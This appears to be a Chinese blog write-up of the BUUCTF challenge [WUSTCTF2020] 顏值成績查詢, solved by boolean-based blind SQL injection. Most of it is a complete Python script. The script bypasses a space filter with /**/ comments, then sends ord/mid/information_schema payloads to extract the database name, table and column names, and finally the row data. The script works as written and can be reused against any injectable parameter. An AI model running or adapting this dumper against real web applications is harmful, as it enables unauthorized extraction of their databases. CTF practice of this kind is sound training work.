BUUCTF:[WUSTCTF2020]顏值成績查詢

SQL盲注
2^if(ascii(mid(database(),1,1))>0,0,1);
在這裏插入圖片描述
先fuzz測試查看有沒有過濾了什麼,這裏過濾了空格,但是我們可以收用/**/來分隔sql語句
先看我根據我的一篇文章布爾型盲注python腳本(功能超級完整)改的腳本

import requests


def ascii_str():  # 生成庫名錶名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可顯示字符
        str_list.append(chr(i))
    # print('可顯示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]開始測試數據庫名長度.......")
    num = 1
    while True:
        db_payload = url + "/**/and/**/(length(database())=%d)--+" % num
        r = requests.get(db_payload)
        if str in r.text:
            db_length = num
            print("[+]數據庫長度:%d\n" % db_length)
            db_name(db_length)  # 進行下一步,測試庫名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]開始測試數據庫名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            db_payload = url + "/**/and/**/(ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
            r = requests.get(db_payload)
            if str in r.text:
                db_name += j
                break
    print("[+]數據庫名:%s\n" % db_name)
    tb_piece(db_name)  # 進行下一步,測試security數據庫有幾張表
    return db_name


def tb_piece(db_name):
    print("開始測試%s數據庫有幾張表........" % db_name)
    for i in range(100):  # 猜解庫中有多少張表,合理範圍即可
        tb_payload = url + "/**/and/**/%d=(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='%s')--+" % (
        i, db_name)
        r = requests.get(tb_payload)
        if str in r.text:
            tb_piece = i
            break
    print("[+]%s庫一共有%d張表\n" % (db_name, tb_piece))
    tb_name(db_name, tb_piece)  # 進行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]開始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名長度,合理範圍即可
            tb_payload = url + "/**/and/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1)=%d--+" % (
            i, j)
            r = requests.get(tb_payload)
            if str in r.text:
                tb_length = j
                print("第%d張表名長度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根據表名長度進行截取對比
                    for l in str_list:
                        tb_payload = url + "/**/and/**/(select/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1),%d,1)))=%d--+" % (
                        i, k, ord(l))
                        r = requests.get(tb_payload)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s庫下的%s張表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 進行下一步,猜解每張表的字段數


def column_num(table_list, db_name):
    print("[-]開始猜解每張表的字段數:.......")
    column_num_list = []
    for i in table_list:
        for j in range(30):  # 每張表的字段數量,合理範圍即可
            column_payload = url + "/**/and/**/%d=(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s')--+" % (
            j, i)
            r = requests.get(column_payload)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入這個列表當中
                print("[+]%s表\t%s個字段" % (i, column_num))
                break
    print("\n[+]表對應的字段數:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 進行下一步,猜解每張表的字段名


def column_name(table_list, column_num_list, db_name):
    print("[-]開始猜解每張表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在這裏代表每張表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每張表的字段數量
            column_name = ''
            for j in range(1, 21):  # j表示每個字段的長度
                column_name_length = url + "/**/and/**/%d=(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1)--+" % (
                j - 1, table_list[t], i)
                r = requests.get(column_name_length)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我們猜解的字符字典
                    column_payload = url + "/**/and/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1),%d,1))=%d--+" % (
                    table_list[t], i, j, ord(k))
                    r = requests.get(column_payload)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    print(column_name_list)#輸出所有表中的字段名到一個列表中
    dump_data(table_list, column_name_list, db_name)  # 進行最後一步,輸出指定字段的數據


def dump_data(table_list, column_name_list, db_name):
    print("\n[-]對%s表的%s字段進行爆破.......\n" % (table_list[0], column_name_list[0:2]))
    str_list = ascii_str()
    for i in column_name_list[0:2]:
        for j in range(101):  # j表示有多少條數據,合理範圍即可
            data_num_payload = url + "/**/and/**/(select/**/count(%s)/**/from/**/%s.%s)=%d--+" % (i, db_name, table_list[0], j)
            r = requests.get(data_num_payload)
            if str in r.text:
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s條數據:" % (table_list[0], i, data_num))
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(1,80):  # l表示每條數據的長度,合理範圍即可
                data_len_payload = url + "/**/and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))--+" % (
                i, db_name, table_list[0], k, l)
                r = requests.get(data_len_payload)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每條數據的實際範圍,作爲mid截取的範圍
                        for y in str_list:
                            data_payload = url + "/**/and/**/ord(mid((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d--+" % (
                            i, db_name, table_list[0], k, x, ord(y))
                            r = requests.get(data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print('[+]%s' % dump_data)  # 輸出每條數據


if __name__ == '__main__':
    url = "http://4256ba7d-df27-4dd7-bc5d-ed2125b3b1c1.node3.buuoj.cn/?stunum=1"  # 目標url
    str = "Hi admin"  # 布爾型盲注的true&false的判斷因素
    db_length(url, str)  # 程序入口

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章